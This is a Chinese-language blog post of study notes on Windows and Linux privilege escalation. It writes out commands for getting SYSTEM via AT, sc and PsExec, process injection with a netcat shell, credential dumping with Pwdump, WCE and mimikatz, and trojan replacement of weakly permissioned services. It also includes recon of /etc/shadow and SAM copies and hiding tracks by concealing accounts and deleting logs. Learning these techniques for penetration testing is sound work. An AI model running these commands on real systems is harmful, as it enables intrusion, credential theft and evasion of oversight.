提权学习

0x1 windows账号关系

windows下的账户权限关系

  • System 大于 Administrator 大于 普通用户
  • System 不完全包括 Administrator
  • System 不完全包括 普通用户
  • Administrator 完全包括 普通用户

0x2 windows本地提权

1. AT命

xp的AT命令(WIN2003也可以),win10中已弃用改为schtasks.exe,这是一条做系统调度任务的命令。

  • 令启动system权限的cmd
    AT xx:xx(时间) /interactive cmd
    这样启动的cmd就是system权限,使用这个cmd启动的任务也是system权限。
  • 启动一个system权限的桌面环境
    使用system的cmd执行taskmgr(即任务管理器)
    使用这个任务管理器结束explorer.exe进程
    文件->新建一个explorer进程
2. SC命令

SC 是用来与服务控制管理器和服务进行通信 的命令行程序。

  • 创建并启动服务
    服务的默认启动权限是system,达到本地提权的目的。
    sc Create syscmd binPath= "cmd /K start" type= own type= interact
    sc start syscmd
    注意第一条命令参数和等于之间有空格
3. SysinternalsSuite工具包

使用其中的PsExec.exe进行提权
.\PsExec.exe -i -s

  • 如果出现错误:
    Error codes returned by PsExec are specific to the applications you
    execute, not PsExec.

0x3 注入进程提权

使用processinjector工具注入一个system权限的进程
pinjector.exe -l 列出当前进程
pinjector.exe -p pid cmd 开放端口号
等待回连
nc -nv 192.168.1.20 开放端口号
这种方式的好处在于没有新增进程,较为隐蔽。但是只有当防火墙开放对应端口的时候才能成功连接。

0x4 本地缓存密码

  • 浏览器缓存的密码
    可能会存储服务器上管理员账号的密码

  • 控制面板-凭据管理器 web凭据、windows凭据
    包括一些web、域、ftp、共享账号还可能存在远程桌面的账号密码,win10系统需要确认账号密码才能查看密码

  • 无线密码
    - http://www.nirsoft.net

  • Dump SAM
    Pwdump (可以远程执行)
    在kali中的位置:/usr/share/windows-binaries/fgdump/
    执行方式:
    .\Pwdump.exe localhost
    将会生成将生成的密码hash值保存,送到kali中破解或者使用其他平台进行hash碰撞

0x5 WCE (WINDOWS CREDENTIAL EDITOR)工具

kali中的位置:/usr/share/wce/
该工具需要管理员权限运行,并且该工具是从内存中读取信息。
wce-universal.exe -l / -lv
列出有登录会话(已登录)的用户名和密码hash
-lv显示详细信息,safe mode是安全模式,less-safe mode 是不安全的注入模式,这种模式探查信息可能会对系统造成破坏
wce-universal.exe -d
指定一个luid(登录会话)将其删除
wce-universal.exe -e / -r
-e每次有登录的时候刷新
-r参数表示每隔5s刷新登陆会话
wce-universal.exe -g
后面跟一个明文密码,计算改密码的hash
wce-universal.exe -w
显示WDigest-已登陆的用户在内存中的明文密码
LM/NT hash

  • 防御WCE的攻击

修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
kerberos
msv1_0 schannel
wdigest (直到win7默认都有)
tspkg (终端服务,远程桌面连接时使用的安全包)
pku2u

0x6 mimikatz-王者工具

cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称–启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords–获登陆用户信息及密码

0x7 利用漏洞提权

利用发布的和0day漏洞对目标机器进行提权。在域环境中提权到域管理员可以百倍千倍扩大战果。

1. 利用pyinstaller将python打包成可执行文件

python pyinstaller.py --onefile 18176.py
在目标系统(英文版XP或者win2003,在中文版系统上只能做破坏系统使其重启)运行,可以从普通用户提权到管理员。

这个方法本地未经过测试,原因是:
本地有python2+3环境,cmd中的(即配置了环境变量的)pip属于python3,使用其安装pyinstaller后,一方面它不在python3的安装目录下(不知道是不是只有我是这样的)而是在C:\Users\Administrator\AppData\Roaming\Python\Python37\Scripts
目录下,?,根本找不到啊!
费尽心思终于找到这个东西了,但是运行的时候发现18176.py这个脚本是python2的和python3有语法冲突(其实在就料到了)。
当我尝试从python2安装路径中的script中直接使用pip安装一个python2版本的pyinstaller,失败了。我也就放弃实验了。

2. MS14-068

0x8 利用不当配置提权

与漏洞提权相比,利用不当配置是更常用的方法。在企业环境中往往补丁更新的全部已经安装。

1. NTFS(文件管理系统)权限允许users修改删除

利用这个配置不当,可以替换windows开机自启的服务程序为木马程序。
木马程序可以使用反弹shell木马,也可以是一个修改系统配置的程序,木马可以注入到某个服务启动exe或者某个应用的exe。

  • Icacls
    显示或者修改文件的访问控制表。
    icacls C:\Windows*.exe /save perm.txt /T
    输出示例:
    bfsvc.exe
    D:PAI(A;;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;0x1200a9;;;BA)(A;;0x1200a9;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)S:AI
    explorer.exe
    D:PAI(A;;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;0x1200a9;;;BA)(A;;0x1200a9;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)S:AI
    HelpPane.exe
    以(A;;0x1200a9;;;BU)为例,BU是普通用户,A是权限标识,如果一个BU用户的权限是F(full)或者FA,那么这就是一个不当配置,可以使用普通用户修改替换删除该程序。

  • 在linux系统中使用ls -l
    例如:
    -rwxr-xr-x 1 root root 2581 4月 4 2018 8251.py
    -rwxr-xr-x 1 root root 2338 4月 4 2018 8267.py
    -rwxr-xr-x 1 root root 2355 4月 4 2018 8270.pl
    -所属用户权限-用户组权限-其他用户权限
    查找系统中所有的权限开放的程序
    find / -perm 777 -exec ls -l {} ;

0x9 进行信息收集

  • Linux
    • /etc/resolv.conf (dns解析,篡改/劫持)
    • /etc/passwd (账号)
    • /etc/shadow (密码)
    • whoami
    • who –a (当前登录的用户)
    • ifconfig -a, iptables -L -n, ifconfig –a, netstat –r
    • uname –a
    • ps aux
    • dpkg -l| head

  • Windows
    • ipconfig /all , ipconfig /displaydns(dns缓存), netstat -bnao , netstat –r(路由)
    • net view , net view /domain (网络共享)
    • net user /domain, net user %username% /domain (域账号信息)
    • net accounts, net share (当前机器开启的共享)
    • net group “Domain Controllers” /domain (查看域控制器)
    • net share name$=C:\ /unlimited (共享C,无限制)
    • net user username /active:yes /domain (开启被锁定账号,需要域管理员权限)

  • WMIC收集系统信息
    WMIC(WINDOWS MANAGEMENT INSTRUMENTATION) – Windows管理工具
    • wmic nicconfig get ipaddress,macaddress
    • wmic computersystem get username
    • wmic netlogin get name,lastlogon
    • wmic process get caption, executablepath,commandline (查询进程,启动进程的程序,启动命令)
    • wmic process where name=“calc.exe" call terminate (kill进程)
    • wmic os get name,servicepackmajorversion (系统信息)
    • wmic product get name,version (安装的产品)
    • wmic product where name=“name” call uninstall /nointeractive (静默卸载)
    • wmic share get /ALL
    • wmic /node:“machinename” path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1” (开启远程桌面,win10不可用)
    • wmic nteventlog get path,filename, writeable (查看事件记录进程)

  • 收集敏感数据

    • 商业信息
    • 系统信息
    • Linux
      - /etc ;/usr/local/etc
      - /etc/password ;/etc/shadow
      - .ssh ;.gnupg 公私钥
      - The e-mail and data files
      - 业务数据库;身份认证服务器数据库
      - /tmp
  • windows

    • SAM 数据库 ; 注册表文件
    • %SYSTEMROOT%\repair\SAM (SAM修复操作保存的副本)
    • %SYSTEMROOT%\System32\config\RegBack\SAM (注册表备份)
    • 业务数据库 ; 身份认证数据库
    • 临时文件目录
    • UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\ 
      

0x10 隐藏痕迹

  • 禁止在登陆界面显示新建账号
    REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T REG_DWORD /D 0
  • del %WINDIR%*.log /a/s/q/f
  • History
  • 日志
    + auth.log / secure
    + btmp / wtmp
    + lastlog / faillog
    + 其他日志和 HIDS 等
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值